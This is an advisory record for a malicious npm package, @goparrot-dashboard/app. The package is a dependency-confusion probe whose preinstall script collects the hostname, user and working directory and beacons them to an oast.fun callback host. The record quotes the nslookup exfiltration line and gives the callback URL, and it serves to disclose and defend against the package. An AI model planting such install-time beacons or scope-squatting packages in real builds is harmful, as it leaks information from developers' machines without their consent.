MAL-2026-18492: Malicious code in @goparrot-dashboard/app (npm)
@goparrot-dashboard/app is a dependency-confusion probe: it takes a name in a @goparrot-dashboard scope that its publisher created on npm, next to GoParrot's public @goparrot scope, so a build that resolves that scope from npm runs its code instead of a private package of the same name. In 0.0.2 a preinstall script runs node index.js on npm install, which collects the hostname, the whoami user and the working directory, looks up a DNS name built from the user and host names under iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun with nslookup, and sends the same values in a curl request to https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc, an interactsh callback host; 0.0.1 and 0.0.3 only print a marker when imported. The npm account devtest91001 published it on 2026-11-01 together with 24 other @goparrot-dashboard and @goparrot-dashboard-api packages that print the same "rootxravi-poc-security" marker.
--- -= Per source details. Do not edit below this line.=-
Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658) The package declares a preinstall lifecycle script that runs node index.js automatically on npm install. index.js collects installer host identifiers — hostname, the output of whoami, and process.cwd() — and transmits them to a hardcoded Interactsh (oast.fun) callback host at iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")), and an HTTPS GET to https://<CALLBACK>/rootxravi-poc?... carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.